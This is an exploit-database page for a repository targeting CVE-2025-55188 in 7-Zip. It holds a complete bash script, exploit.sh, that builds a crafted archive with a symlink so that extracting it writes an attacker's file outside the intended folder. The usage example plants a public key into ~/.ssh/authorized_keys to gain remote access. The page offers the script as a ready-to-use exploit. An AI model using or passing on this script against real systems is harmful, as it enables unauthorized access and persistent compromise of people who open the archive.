Exploit databaseDownload repository ZIP
GH-c24c422d5af340e3e29d6e6e8e3e6655
hunters-sec/cve-2025-55188-7z-exploit
Sources for CVE-2025-55188
2 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.
Repository files2
hunters-sec/cve-2025-55188-7z-exploitRevision ed8390cbf32a
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
exploit.sh
Shell · 493 bytes#!/bin/bash
if [ "$#" -ne 3 ]; then
echo "Usage: $0 <payload_file> <target_symlink_path> <output_archive>"
echo "Example: $0 mykey.pub ../../.ssh/authorized_keys exploit.7z"
exit 1
fi
PAYLOAD="$1"
TARGET="$2"
OUT="$3"
WORKDIR=$(mktemp -d)
ln -s "$TARGET" "$WORKDIR/symlink"
cp "$PAYLOAD" "$WORKDIR/symlink"
tar --sort=name -cf "$WORKDIR/exploit.tar" -C "$WORKDIR" symlink
7z a "$OUT" "$WORKDIR/exploit.tar" >/dev/null
echo "[*] Exploit archive created: $OUT"
rm -rf "$WORKDIR"